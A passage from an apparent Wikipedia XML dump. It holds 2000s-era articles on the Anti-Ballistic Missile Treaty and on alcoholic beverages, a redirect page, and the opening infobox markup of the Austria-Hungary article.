      <text xml:space="preserve">The '''Anti-Ballistic Missile Treaty''' ('''ABM treaty''' or '''ABMT''') was a treaty between the [[United States|United States of America]] and the [[Union of Soviet Socialist Republics]] on the limitation of the [[anti-ballistic missile]] (ABM) systems used in defending areas against missile-delivered [[nuclear weapon]]s. On [[May 26]] [[1972]], the [[President of the United States]], [[Richard Nixon]] and the [[General Secretary of the Communist Party of the Soviet Union]], [[Leonid Brezhnev]] signed the Anti-Ballistic Missile Treaty.  The treaty was in force for thirty years, from [[1972]] until [[2002]]. On [[June 13]] [[2002]], six months after giving the required notice of intent, the US withdrew from the treaty.

The full text is available on [[WikiSource:Anti-Ballistic Missile Treaty|Wikisource]].

==Early history==
Throughout the late 1950s and into the 1960s, the United States had been developing a series of missile systems with the ability to shoot down incoming [[ICBM]] warheads.  During this period the US maintained a lead in the number and sophistication of their delivery systems, and considered the defense of the US as a part of reducing the overall damage inflicted in a full nuclear exchange.  As part of this defence, [[Canada]] and the US established the North American Air Defense Command (now called [[North American Aerospace Defense Command|NORAD]]).

By the early 1960s the US research on the [[Nike Zeus]] missile system (see [[Project Nike]]) had developed to the point where small improvements would allow it to be used as the basis of a &quot;real&quot; ABM system. Work started on a short range, high speed counterpart known as the [[Sprint (missile)|Sprint]] to provide defense for the ABM sites themselves. By the mid-1960s both systems showed enough promise to start development of base selection for a nationwide ABM system, then known as '''Sentinel'''.

At this point an intense debate broke out in public over the merits of such a system. A number of serious concerns about the technical abilities of the system came to light, many of which reached popular magazines such as [[Scientific American]]. At the same time it grew increasingly clear that if the system did work, then the Soviets best course of action was to immediately launch an attack on the US before the system became operational.

As this debate continued, a new development in ICBM technology essentially rendered the points moot. This was the deployment of the [[MIRV]] system, allowing a single ICBM missile to deliver several warheads at a time. With this system the USSR could simply overwhelm the ABM defense system with numbers. Upgrading it to counter the additional warheads would cost more than the handful of missiles needed to overwhelm the new system, as the defenders required one rocket per warhead, whereas the attackers could place perhaps 10 warheads on a rocket that was perhaps the same price as the ABM.

At about the same time, the USSR reached strategic parity with the US in terms of ICBM forces. No longer would a war be a matter of the utter destruction of the USSR with the US able to continue on, now both countries would be devastated. This led to the concept of [[mutually assured destruction]], '''MAD''', in which any changes to the strategic balance had to be carefully weighed. ABMs, now ready for use after over a decade of development, seemed to be far too risky &amp;ndash; it was better to have no defense than one that might trigger a war.

As relations between the US and USSR warmed in the later years of the 1960s, the US first proposed an ABM treaty in 1967. This proposal was rejected. Following the proposal of the Sentinel and Safeguard decisions on American ABM systems, the [[SALT I]] talks began in November [[1969]]. By [[1972]] agreement had been reached to limiting strategic offensive weapons and strategic defensive systems. Each country was allowed one site at which it could base a defensive system, Moscow and [[Grand Forks]], [[North Dakota]].  It was signed in Moscow [[May 26]], [[1972]], and ratified by the Senate [[August 3]], [[1972]]. It was seen by many as a key piece in nuclear arms control, being an implicit recognition of the need to ''protect'' the nuclear balance by ensuring neither side could ever consider itself immune from retaliation.

For many years the ABM Treaty was considered one of the landmarks in arms limitations. It required two enemies to agree not to deploy a potentially useful weapon, deliberately to maintain the [[balance of power]]. In doing so, the formerly terrible relations between the US and USSR started to change considerably.

==After the SDI announcement==
The treaty was undisturbed until [[Ronald Reagan]] announced his [[Strategic Defense Initiative]] (SDI) on [[March 23]] [[1983]]. Reagan stated that SDI was &quot;consistent with... the ABM Treaty&quot; and he viewed it as a defensive system that would help reduce the possibility of [[mutual assured destruction]] (MAD) becoming reality; he even suggested that the Russians would be given access to the SDI technology.

This extremely ambitious project was a blow to [[Yuri Andropov]]'s tentative 'peace offensive'. Andropov said that &quot;It is time they [Washington] stopped... search[ing] for the best ways of unleashing nuclear war... Engaging in this is not just irresponsible. It is insane&quot;. 

SDI research went ahead, although it did not achieve the hoped for result. SDI research was cut back following the end of Reagan's presidency, and in [[1995]] it was reiterated in a presidential joint statement that &quot;missile defense systems may be deployed... [that] will not pose a realistic threat to the strategic nuclear force of the other side and will not be tested to... [create] that capability.&quot;  This was reaffirmed in [[1997]].

After the dissolution of the Soviet Union in December 1991 the status of the treaty became unclear, debated by members of [[Congress of the United States|Congress]] and professors of law, [http://www.nesl.edu/intljournal/vol9/mccarty.pdf Succession of the ABM Treaty],[http://www.clw.org/pub/clw/coalition/laws050300.htm State Succession and the Legal Status of the ABM Treaty], and [http://missilethreat.com/reports/abm_memorandum.html Miron-Feith Memorandum].  In 1997, a [[memorandum of understanding]] [http://www.defenselink.mil/acq/acic/treaties/abm/ad_mou.htm] between the US and four of the former USSR states was signed and subject to ratification by each signatory, however it was not presented to the US Senate for ratification by [[President of the United States|President]] [[Bill Clinton]].

On [[December 13]], [[2001]], President [[George W. Bush]] gave [[Russia]] notice of the United States' withdrawal from the treaty, in accordance with the clause that requires six months' notice before terminating the pact. This was the first time in recent history the United States has withdrawn from a major international arms treaty.

Supporters of the withdrawal argued that it was a necessity in order to test and build a limited [[National Missile Defense]] to protect the United States from [[nuclear blackmail]] by a [[rogue state]]. The withdrawal had many critics as well as supporters. John Rhinelander, a negotiator of the ABM treaty, predicted that the withdrawal would be a &quot;fatal blow&quot; to the [[Nuclear Non-Proliferation Treaty]] and would lead to a &quot;world without effective legal constraints on [[nuclear proliferation]].&quot;

Reaction to the withdrawal by both Russia and the [[People's Republic of China]] was much milder than many had predicted, and followed months of discussion with both Russia and China aimed at convincing both that development of a [[National Missile Defense]] was not directed at them. In the case of Russia, the United States has stated that it intends to discuss a massive bilateral reduction in the numbers of nuclear warheads, which would allow Russia to reduce its spending on missiles. In the case of China, statements by [[Condoleezza Rice]], U.S. [[Secretary of State]], appeared to some observers to suggest that the United States would not object to an expansion of China's nuclear arsenal in a manner that would allow it to overwhelm American anti-ballistic capabilities.

The U.S. withdrawal from the ABM treaty was followed shortly thereafter by the signing of the [[Strategic Offensive Reductions Treaty]] in Moscow on [[24 May]] [[2002]], potentially the largest ever cut in deployed strategic nuclear warheads.

==See also==
*[[nuclear disarmament]]
*[[nuclear warfare]]

==External links==
*[http://www.state.gov/t/ac/rls/fs/2001/6848.htm US Announcement of withdrawal (2001)]


[[Category:Arms control]]
[[Category:Cold War treaties]]
[[Category:Missile defence]]
[[Category:United States treaties]]

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    <title>Alcoholic beverage</title>
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      <comment>/* Types of alcoholic beverages */ wiki-table!</comment>
      <text xml:space="preserve">[[Image:CachacaDivininha.jpg|thumb|250px|Bottles of [[cachaça]], a [[Brazil]]ian alcoholic beverage.]]

'''Alcoholic beverages''' are [[drink|drinks]] containing [[ethanol]].  Most governments regulate or restrict the sale and use of alcohol.

==Chemistry==
The ethanol (CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH) in alcoholic beverages is almost always produced by [[fermentation]], which is the [[metabolism]] of [[carbohydrate]]s (usually [[sugar]]s) by certain species of [[yeast]] in the absence of [[oxygen]]. The process of culturing yeast under conditions that produce alcohol is referred to as [[brewing]].

It should be noted that in [[chemistry]], [[alcohol]] is a general term for any [[organic compound]] in which a [[hydroxyl]] [[Functional group|group]] (''-[[oxygen|O]][[hydrogen|H]]'') is bound to a [[carbon]] atom, which in turn is bound to other [[hydrogen]] and/or carbon atoms.  Other alcohols such as [[propylene glycol]] and the [[sugar alcohol]]s may appear in food or beverages regularly, but these alcohols do not make them ''alcoholic''.

It has been suggested that alcoholic impurities, [[congener]]s, are the cause of [[hangover]]s.

Alcoholic beverages with a concentration of about 50% ethanol or greater (100 proof) are [[flammable]] liquids and easily ignited.

''See also: [[ethanol]]''

==Alcoholic content==
The [[concentration]] of alcohol in an alcoholic beverage may be specified in percent [[alcohol by volume]] (ABV), in percentage by weight (sometimes abbreviated '''w/w''' for ''weight for weight''), or in [[alcoholic proof|proof]]. The 'proof' measurement roughly corresponds in a 2:1 ratio to percent alcoholic content by volume (e.g. 80 proof ≈ 40% ABV). Common [[distillation]] cannot exceed 192 proof because at that point ethanol is an [[azeotrope]] with water. Alcohols of this purity are commonly referred to as [[grain alcohol]] and are not meant for human consumption, with the notable exception of [[neutral grain spirit]]s.

Most yeasts cannot grow when the concentration of alcohol is higher than about 18% by volume, so that is a practical limit for the strength of fermented beverages such as [[wine]], [[beer]], and [[sake]].  Strains of yeast have been developed that can survive in solutions of up to 25% alcohol by volume, but these were bred for ethanol fuel production, not beverage production.  Spirits are produced by [[distillation]] of a fermented product, concentrating the alcohol and eliminating some of the by-products. Many wines are [[fortified wines]] with additional grain alcohol to achieve higher ABV than is easily reached using fermentation alone.

==Flavouring==
Ethanol is a moderately good solvent for many &quot;fatty&quot; substances and essential &quot;oils&quot;, and thus facilitates the inclusion of several coloring, flavouring, and aromatic compounds to alcoholic beverages, especially to distilled ones.  These flavouring ingredients may be naturally present in the starting material, or may be added before fermentation, before distillation, or before bottling the distilled product. Sometimes the flavour is obtained by allowing the beverage to stand for months or years in barrels made of special wood, or in bottles where scented twigs or fruits &amp;mdash; or even insects &amp;mdash; have been inserted.

A well-stocked bar will include a selection of beers and wines, along with the typical spirits of [[vodka]], [[rum]], [[gin]], [[tequila]], and [[whisky]]; each in varying qualities from &quot;well&quot; quality (off brand) to premium quality (name brand) to &quot;top shelf&quot; (usually very expensive, ranging from $50 to several hundred USD per 750 ml bottle). Alcoholic beverages can be combined at the time of serving, sometimes with other ingredients, to create [[cocktail]]s or ''mixed drinks''. Small servings of pure liquor (shots) are also common, with whisky and tequila being traditionally popular selections.

==History==
{{main|History of alcohol}}
Alcoholic beverages have been widely consumed since prehistoric times by people around the world, seeing use as a component of the standard diet, for hygienic or medical reasons, for their relaxant and euphoric effects, for [[recreational drug use|recreational purposes]], for artistic inspiration, as [[aphrodisiac|aphrodisiacs]], and for other reasons. Some have been invested with symbolic or religious significance suggesting the mystical use of alcohol, e.g. by [[Greek religion|Greco-Roman religion]] in the [[ecstasy (emotion)|ecstatic]] rituals of [[Dionysus]] (also called [[Bacchus]]), god of drink and revelry; in the [[Christianity|Christian]] [[Eucharist]]; and at the [[Jew]]ish [[Passover]].

===Fermented beverages===
Chemical   analyses of organics absorbed and preserved in pottery jars from the Neolithic village of [[Jiahu]], in Henan province, Northern China, have revealed that a mixed fermented beverage of rice, honey, and fruit was being produced as early as 9,000 years ago.  This is approximately the same time that barley beer and grape wine were beginning to be made in the Middle East. Recipes have been found on clay tablets and art in [[Mesopotamia]] that show individuals using straws to drink [[beer]] from large vats and pots.

Wine was consumed in [[Classical Greece]] at breakfast or at [[symposium|symposia]], and in the [[1st century BC]] it was part of the diet of most [[Roman Empire|Roman]] citizens. However, both Greeks and Romans generally consumed their wine watered (from 1 parts of wine to 1 part of water, to 1 part of wine to 4 parts of water). The transformation of water into wine at a wedding feast is one of the miracles attributed to [[Jesus]] in the [[New Testament]], and his symbolic use of wine in the [[Last Supper]] led to it becoming an essential part of the [[Catholic]] [[Eucharist]] rite.

The ambiguity of the [[Qur'an]]ic ban on alcoholic beverages, meant that wine (usually sold by Christian tavern-keepers) remained fairly popular in Islamic lands over the centuries, as revealed in the verses of [[Persian people|Persian]] poet and mathematician [[Omar Khayyám]] (1040&amp;ndash;1131):

:&quot;Here with a Loaf of Bread beneath the Bough,
:A Flask of Wine, a Book of Verse&amp;mdash;and Thou
:Beside me singing in the Wilderness&amp;mdash;
:And Wilderness is Paradise enow.&quot; [http://www.armory.com/~thrace/ev/siir/Omar_Khayyam.html]

In [[Europe]] during the [[Middle Ages]], beer was consumed by the whole family, thanks to a triple fermentation process &amp;mdash; the men had the strongest, then women, then children. A document of the times mentions [[nun]]s having an allowance of six pints of ale a day.  [[Cider]] and [[pomace wine]] were also widely available, while grape wine was the prerogative of the higher classes. After the collapse of the Roman Empire, wine production in Europe appears to have been sustained chiefly by monasteries.

By the time the Europeans reached the [[Americas]] in the [[15th century]], several [[Indigenous peoples of the Americas|native]] civilizations had developed alcoholic beverages.  According to a post-Conquest [[Aztec]] document, consumption of the local &quot;wine&quot; (''[[pulque]]'') was generally restricted to religious ceremonies, but freely allowed to those over 70 years old (possibly the all-time record for [[legal drinking age]]). The natives of [[South America]] manufactured a beer-like product from [[cassava]] or [[maize]] (''[[cauim]]'', ''[[chicha]]''), which had to be chewed before fermentation in order to turn the [[starch]] into sugars. (Curiously, the same technique was used in ancient [[Japan]] to make ''[[sake]]'' from [[rice]] and other starchy crops.)

The medicinal use of alcoholic beverages was mentioned in Sumerian and Egyptian texts dated from [[2100 BC]] or earlier. The [[Hebrew Bible]] recommends giving alcoholic drinks to those who are dying or depressed, so that they can forget their misery. &lt;!--to be expanded--&gt;

===Distilled beverages===
{{main|Distilled beverages}}

Beer and wine are typically limited to a maximum 15 percent alcohol, although brewers have reached 25% alcohol. Beyond this limit yeast is adversely affected and cannot ferment. Since the fourth millennium BC in Babylonia, higher levels of alcohol have been obtained in a number of ways. It was not until the [[still]] was invented by [[Islam]]ic alchemists in the 8th or 9th centuries that the history of [[distilled beverage]]s began. Distilled alcohol appeared first in Europe in the mid 12th century and by the early [[14th century]] it had spread throughout Europe. It also spread eastward, mainly by the [[Mongol]]s, and was practiced in [[China]] by the 14th century. However, recent archeological evidence has supported the idea that China has had wines and distilled beverages dating back to [[5000 BC]]. [[Paracelsus]] gave alcohol its modern name, taking it from the Arabic word which means &quot;finely divided&quot;, a reference to distillation.

==Uses==
In many countries, alcoholic beverages are commonly consumed at the major daily meals (lunch and dinner).  Most early beers were in fact highly nutritional and served as a means of calorie distribution.  Beer can be stored longer than grain or bread without fear of pest infestation or rotting, and drinking beer avoided the tooth-destroying grit that was present in hand-ground or early mill-ground flours.

In places and eras with poor public sanitation, such as [[Middle Ages|Medieval]] [[Europe]], consumption of alcoholic beverages (particularly weak or &quot;small&quot; [[beer]]) was one method of avoiding water-borne diseases such as the [[cholera]]. Though strong alcohol kills bacteria, the low concentration in beer or even wine will have only a limited effect.  Probably the [[boiling]] of water, which is required for the brewing of beer, and the growth of yeast, which would tend to crowd out other micro-organisms, were more important than the alcohol itself.  In any case, the ethanol (and possibly other ingredients) of alcoholic beverages allows them to be stored for months or years in simple wood or clay containers without spoiling, which was certainly a major factor in their popularity.

A recent study indicated that ethanol has been found to stimulate the virulence of ''[[Acinetobacter|Acinetobacter  baumannii]]''.  Tests on infected [[nematode worm]]s that were dosed with ethanol found that the worms laid fewer eggs and their life spans were only 80% of worms infected with a version of ''A. baumannii'' that didn't respond to ethanol.  This study suggests that the common misconception that drinking alcohol kills infections is false and drinking alcohol may actually help the infection to grow.{{note|abacter}}

In colder climates, strong  alcoholic beverages such as [[vodka]] are popularly seen as a way to &quot;warm up&quot; the body, possibly because ethanol is a quickly absorbed source of [[food energy]] and dilates peripheral blood vessels (Peripherovascular dilation). This however is a dangerous myth, and people experiencing [[hypothermia]] should avoid alcohol. Although a drunk may feel warmer, the body loses heat and body temperature decreases, which may cause hypothermia, and eventually death. This is because of the dilation of blood vessels '''not''' in the core of the body; because of this increased bloodflow, the body loses its heat out of its less protected outer extremities.

In many cultures, both contemporary and historical, alcoholic beverages &amp;mdash; mostly because of their neurological effects &amp;mdash; have also played an important role in various kinds of social interaction, providing a form of &quot;liquid courage&quot; (those who consume it &quot;gain&quot; confidence and lose discretion)    While other psychoactive drugs (such as [[opium]], [[coca]], [[khat]], [[cannabis (drug)|cannabis]], [[kava-kava]], etc.) also have millennial traditions of social use, only [[coffee]], [[tea]] and [[tobacco]] have been as universally used and accepted as ethanol is today.

==Alcohol consumption and health==
{{main|Alcohol consumption and health}}

===Moderate comsumption===

Moderate consumption of alcohol, defined by the U.S. Department of Agriculture and the Dietary Guidelines for Americans as no more than two drinks for men and one drink for women per day, is consistently shown as being beneficial for the heart and circulatory system (the [[United Kingdom|UK]] equivalent is 3-4 units per day for men and 2-3 units for women).  Moderate consumers statistically have fewer [[heart attack]]s and [[stroke]]s, live longer, have lower [[blood pressure]], and generally report better overall health. 

===Excess comsumption===

However, some people are prone to developing a [[chemical dependency]] to alcohol, [[alcoholism]]. The results of alcoholism are considered a major health problem in many nations.

Frequent excessive consumption can harmfully interfere with the user's well-being. The neurological effects of alcohol use are often a factor in deadly motor vehicle accidents and fights. People under the influence of alcohol sometimes find themselves in dangerous or compromising situations where they would not be had they remained sober. Operating a motor vehicle or heavy machinery under the influence of alcohol is a serious crime in almost all developed nations.

==Legal considerations==
[[Image:AlcoholConsumptionSign.jpg|thumb|right|Alcohol restriction in [[Victoria (Australia)|Victoria]], [[Australia]].]]
Most countries have rules forbidding the sale of alcoholic beverages to [[child]]ren. For example, in the [[Netherlands]] and [[Germany]], one has to be 16 to buy beer or wine and 18 to buy distilled alcoholic beverages. However, possession of alcoholic beverages is not illegal for minors in Germany. Law there is directed at the potential sellers of alcoholic beverages and not at the minors. German law puts control concerning the consumption of alcoholic beverage into the hands of custodial persons and persons with parental power. See [http://www.bmfsfj.de/RedaktionBMFSFJ/Abteilung5/Pdf-Anlagen/juSchGenglisch,property=pdf.pdf].

In most European countries, eg. [[Poland]], one has be 18 to legally buy, drink or possess alcoholic beverages. In most countries of central, eastern, and southern Europe it is also forbidden to drink alcoholic beverages in public places, such as streets and parks.

In law, sometimes the term &quot;[[Intoxication|intoxicating]] agent&quot; is used for a category of substances, which includes alcoholic beverages and some [[recreational drug use|drugs]]. Giving any of these substances to a person to create an abnormal condition of the mind (such as [[drunkenness]]), in order to facilitate committing a crime, may be an additional crime.

Some countries may forbid the commerce, consumption or [[alcohol advertising|advertising of alcoholic beverages]], or restrict them in various ways. During the period known as [[Prohibition]], from [[1919]] to [[1933]], it was illegal to manufacture, transport, import, export, or sell alcoholic beverages in the [[United States]]. Many [[Muslim]] countries, such as [[Saudi Arabia]], continue to prohibit alcohol for religious reasons. In the United States there are still communities with a ban on alcohol sales.

Most countries have laws against [[drunk driving]], driving with a certain concentration of ethanol in the [[blood]]. The legal threshold of [[blood alcohol content]] ranges from 0.0% to 0.05% or 0.08%, according to local law.

Most countries also specify a legal drinking age, below which the consumption of alcohol is prohibited. In the U.S., the legal age for purchase or possession (but not necessarily consumption) in every state has been [[twenty-one|21]] since the passage of the [[National Minimum Drinking Age Act]] in [[1984]], which tied federal highway funds to states' raising their minimum drinking age to 21. Many states specifically permit consumption under the age of 21 for religious or health reasons or with parental approval. Most European countries however, have a legal drinking age of [[eighteen|18]]

In many countries, production of alcoholic beverages requires a license, and alcohol production is taxed. In the U.S., the [[Bureau of Alcohol, Tobacco, Firearms, and Explosives]] and the [[Alcohol and Tobacco Tax and Trade Bureau]] (formerly one organization known as the [[Bureau of Alcohol, Tobacco and Firearms]]) enforce federal laws and regulations related to alcohol, though most regulations regarding serving and selling alcoholic beverages are made by the individual states. There also exist intrastate regulatory differences, as between [[Montgomery County, Maryland]] and the rest of the [[Maryland|state]].  In the [[United Kingdom|UK]] the [[Customs and Excise department]] issues distilling licences.

In many countries bars fall under [[Smoking ban|Smoking bans]], see [[List of smoking bans]] for a full listing.

Common state regulations in the United States are:

* Many U.S. states require that distilled liquor be sold only in dedicated ''liquor stores''. For example: In [[Washington]], liquor stores are run by the state. In [[Oklahoma]], liquor stores may not refrigerate any beverages. Often, liquor sales are prohibited on Sunday by a [[Blue law]]. Other laws, governing a variety of issues, vary regionally.

* Most U.S. states do not allow ''open containers'' of alcohol inside of moving vehicles.

* Some U.S. states offer relaxed rules for beer at or below 3.2% alcohol.

* Many cities and counties ban drinking alcoholic beverages in public; that is, on the street or sidewalk.

* Often bars serving distilled liquor are exempted from [[Smoking ban|Smoking bans]].

In [[New Zealand]] it is legal to produce alcohol for personal use. This has made the sale and use of home distillation equipment popular.

Some religions&amp;mdash;most notably [[Islam]], [[Latter-day Saint]]s, the [[Nikaya Buddhism|Nikaya]] and most [[Mahayana]] schools of [[Buddhism]] and some [[Protestant]] sects of [[Fundamentalist Christianity]]&amp;mdash;forbid or discourage the consumption of alcoholic beverages for these and other reasons. See also:[[Teetotalism]], [[Temperance movement]].

==Types of alcoholic beverages==
{{main|List of alcoholic beverages}}
Alcoholic beverages include low-alcohol-content beverages produced by [[fermentation]] of [[sugar]]- or [[starch]]-containing products, and high-alcohol-content beverages produced by [[distillation]] of the low-alcohol-content beverages. Sometimes, the alcohol content of low-alcohol-content beverages is increased by adding distilled products, particularly in the case of wines. Such [[fortified wine]]s include [[Port wine]] and [[Sherry]].

The process involved (as well as the resulting alcohol content) defines the finished product.  [[Beer]] involves a relatively short (incomplete) fermentation process and an equally short aging process (a week or two) resulting in an alcohol content generally between 3-8%, as well as natural carbonation.  [[Wine]] involves a longer (complete) fermentation process, and a relatively long aging process (months or years -- sometimes decades) resulting in an alcohol content between 7-18%.  [[Sparkling wine]] is generally made by adding a small amount of sugar before bottling, which causes a secondary fermentation to continue in the bottle.  Distilled products are generally not made from a &quot;beer&quot; that would  normally be palatable as fermentation is normally completed, but no aging is involved until after distillation. Most are 30% or greater alcohol by volume. [[Liqueur|Liqueurs]] are characterized by the way in which their flavors are infused and typically have high sugar content. Spirits typically contain 37.5% alcohol or greater and are not infused with flavors during the distilling process, however some modern spirits are infused with flavors after distilling for example the swedish vodka [[Absolut Vodka|Absolut]].

Standard drinks of alcoholic beverages in the United States all contain equivalent amounts of alcohol, about 0.6 fl. oz. (american) each (17.75ml). A U.S. standard drink is a 12 ounce can or bottle of beer, a five ounce glass of dinner wine, or a 1.5 ounce drink of 40% distilled spirits (either straight or in a mixed drink).

In the UK alcohol content is measured in units. One unit equates to 10ml of pure ethanol (approx. 1/3 fl. oz. american). A typical pint of beer or large glass of containing approx 2 units. A shot (25ml) of 40% spirit contains exatly 1 unit.

The names of some beverages are determined by the source of the material fermented:
{| class=&quot;wikitable&quot;
|-
! Source
! Name of fermented beverage
! Name of distilled beverage
|-
| [[barley]] || [[beer]], [[ale]]
| [[Scotch whisky]]
|-
| [[rye]] || [[rye beer]]
| [[Rye whisky]]
|-
| [[maize|corn]] || corn beer
| [[Bourbon whiskey]]
|-
| [[wheat]] || [[wheat beer]]
| Wheat [[whisky]], Korn (Germany)
|-
| [[rice]] || [[sake]] [[sonti]]
| [[shochu]] (Japan), [[soju]] (Korea)
|-
| [[juice]] of [[fruit]]s, other than apples or pears
| [[wine]] (most commonly from [[grape]]s)
| [[brandy]], [[Cognac (drink)|Cognac]] (France), Branntwein (Germany), [[Pisco]] (Peru/Chile)
|-
| juice of [[Apple (fruit)|apple]]s || (&quot;hard&quot;) [[cider]], [[apfelwein]]
| [[applejack]] (or apple brandy), [[Calvados (spirit)|Calvados]]
|-
| juice of [[pear]]s || [[perry]], or [[perry|pear cider]]
| pear brandy
|-
| juice of [[sugarcane]], or [[molasses]]
| basi, betsa-betsa (regional) || [[rum]], [[cachaça]], [[aguardiente]], [[guaro]]
|-
| juice of [[agave]] || [[pulque]] || [[tequila]], [[mezcal]]
|-
| juice of [[plum]]s || [[plum wine]] || [[slivovitz]], [[tzuica]], [[palinca]]
|-
| [[pomace]] || [[pomace wine]]
| [[grappa]] (Italy), [[Trester]] (Germany), [[marc (wine)|marc]] (France)
|-
| [[honey]] || [[mead]] || distilled mead (&quot;mead brandy&quot; or &quot;honey brandy&quot;)
|-
| [[potato]] and/or [[cereal|grain]] || potato beer || [[vodka]]: potato mostly used in [[Ukraine]], otherwise grain
|-
| [[Milk]] || [[Kumis]] || Araka
|}

Note that in common speech, ''wine'' or ''brandy'' is made from grapes unless the fruit is specified: &quot;plum wine&quot; or &quot;cherry brandy&quot; for example, although in some cases grape-derived alcohol is added.

In the USA and Canada, ''cider'' often means ''unfermented'' apple juice (see the article on [[cider]]), while fermented cider is called ''hard'' cider. Unfermented cider is sometimes called ''sweet'' cider. Also, [[applejack]] was originally made by a freezing process described in the article on [[cider]] which was equivalent to distillation but more easily done in the cold climate of [[New England]]. In the UK, cider is always alcoholic, and in Australia it can be either.

''Beer'' is generally made from barley, but can sometimes contain a mix of other grains.  ''Whisky'' is sometimes made from a blend of different grains, especially [[Irish whiskey]] which may contain several different grains.  The style of whisky (Scotch, Rye, Bourbon) generally determines the primary grain used, with additional grains usually added to the blend (most often barley, and sometimes [[oat]]s).

Two common distilled beverages are [[vodka]] and [[gin]]. Vodka can be distilled from any source ([[Cereal|grain]] and [[potato|potatoes]] being the most common) but the main characteristic of vodka is that it is so thoroughly distilled as to exhibit none of the flavors derived from its source material. Gin is a similar distillate which has been flavored by contact with herbs and other plant products, especially [[juniper]] berries.  The name comes from the Dutch liquor genever, which in turn takes its name from the Dutch word for juniper.

==See also==
* [[Dionysus]]
* [[Effects of alcohol on the body]]
* [[Alcohol equivalence]]
* [[Drug abuse]]
* [[History of alcohol]]
* [[Legal drinking age]]
* [[Psychoactive drug]]

==References==
# {{note|abacter}} {{Conference reference | Author=Smith, M.G., and M. Snyder | Title=[http://www.abstractsonline.com/viewer/viewAbstractPrintFriendly.asp?CKey={D0F90285-6F6E-4754-A0C2-7ABED16D3F06}&amp;SKey={E2FAF97F-9FAE-4FEC-B822-9D0F7214CF43}&amp;MKey={382D7E47-BE0B-4BBA-B3A6-E511C92FA999}&amp;AKey={32093528-52DC-4EBE-9D80-29DAD84C92CE} Ethanol-induced virulence of ''Acinetobacter baumannii''] | Booktitle=American Society for Microbiology meeting, Atlanta | Year=2005| Pages=}}

==External links==
{{commons|Category:Alcoholic beverages}}
* [http://www2.potsdam.edu/hansondj/Controversies/1114796842.html History of alcohol and drinking around the World.]
* [http://www.benbest.com/health/alcohol.html  Alcohol -- Health Benefit or Hazard? ]


[[Category:Alcoholic beverages|*]]
[[Category:alcohol|Beverage]]
[[Category:Drugs]]

[[ca:Beguda alcohòlica]]
[[da:Alkohol]]
[[de:Alkohol]]
[[es:Bebida alcohólica]]
[[eo:Alkoholaĵo]]
[[fa:نوشیدنی‌های الکلی]]
[[fr:Boisson alcoolisée]]
[[ko:술]]
[[id:Minuman beralkohol]]
[[is:Áfengi]]
[[he:אלכוהול]]
[[lt:Alkoholinis gėrimas]]
[[ms:Arak]]
[[nl:Alcoholische drank]]
[[ja:アルコール飲料]]
[[pl:Napój alkoholowy]]
[[pt:Bebida alcoólica]]
[[ro:Băutură alcoolică]]
[[ru:Алкогольные напитки]]
[[fi:Alkoholijuoma]]
[[sv:Sprit]]
[[th:เหล้า]]
[[vi:Các loại đồ uống có chứa cồn]]
[[uk:Спиртні напої]]
[[zh:酒]]</text>
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      <timestamp>2002-11-07T16:27:48Z</timestamp>
      <contributor>
        <username>Maury Markowitz</username>
        <id>2175</id>
      </contributor>
      <comment>moving to Bally Astrocade</comment>
      <text xml:space="preserve">#REDIRECT: [[Bally Astrocade]]</text>
    </revision>
  </page>
  <page>
    <title>Austria-Hungary</title>
    <id>2983</id>
    <revision>
      <id>42106940</id>
      <timestamp>2006-03-03T21:45:56Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">&lt;TABLE align=&quot;right&quot; WIDTH=225 style border=&quot;1&quot; style=&quot;margin: 0.5em 0 1em 1em; background: #ffffff; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 90%;&quot;&gt;
&lt;TR align=&quot;center&quot; BGCOLOR=&quot;#efefef&quot;&gt;
&lt;TD COLSPAN=2&gt;
''Die im Reichsrat vertretenen Königreiche und Länder und die Länder der heiligen ungarischen Stephanskrone''&lt;br /&gt;&lt;small&gt;([[German language|German]])&lt;/small&gt;&lt;br /&gt;''A birodalmi tanácsban képviselt királyságok és országok és a magyar szent korona országai''&lt;br /&gt;&lt;small&gt;([[Hungarian language|Hungarian]])&lt;/small&gt;&lt;/big&gt;
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR align=&quot;center&quot;&gt;&lt;TD COLSPAN=2&gt;
[[Image:Location-Austria-Hungary.png|225px|]]&lt;br&gt;Austria-Hungary in Europe
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR align=&quot;center&quot;&gt;&lt;TD COLSPAN=2&gt;
[[Image:Austria-hungary.png|225px|]]&lt;br&gt;Kingdoms and countries of Austria-Hungary
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD COLSPAN=2 align=&quot;center&quot;&gt;
&lt;HR&gt;&lt;BR&gt;
&lt;TABLE BORDER=0 CELSPACING=O CELPADDING=O WIDTH=&quot;100%&quot;&gt;
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR align=&quot;center&quot;&gt;&lt;TD WIDTH=&quot;50%&quot;&gt;
[[Image:Austria-Hungary-flag-1869-1918-naval-1786-1869-war.gif|50px|]]&lt;br&gt;&lt;small&gt;war flag&lt;/small&gt;
&lt;/TD&gt;&lt;TD WIDTH=&quot;50%&quot;&gt;
[[Image:Austria-Hungary flag 1869-1918.gif|50px|]]&lt;br&gt;&lt;small&gt;merchant flag&lt;/small&gt;
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR align=&quot;center&quot;&gt;&lt;TD WIDTH=&quot;50%&quot;&gt;   [[Image:Flag of the Habsburg Monarchy.svg|40px|]]&lt;br&gt;&lt;small&gt;Flag of Austria&lt;/small&gt;&lt;br&gt;[[Image:Kuk-doppeladler.jpg|60px|]]&lt;br&gt;&lt;small&gt;Coat of arms&lt;/small&gt;
&lt;/TD&gt;&lt;TD WIDTH=&quot;50%&quot;&gt;
[[Image:Flag of Hungary.png|50px|]]&lt;br&gt;&lt;small&gt;Flag of Hungary&lt;/small&gt;&lt;br&gt;[[Image:Hungary COA.jpg|33px|]]&lt;br&gt;&lt;small&gt;Coat of arms&lt;/small&gt;
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR align=&quot;center&quot;&gt;&lt;TD COLSPAN=2&gt;
'''Before the [[Ausgleich|1867 Compromise]]'''
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR align=&quot;center&quot;&gt;&lt;TD COLSPAN=2&gt;
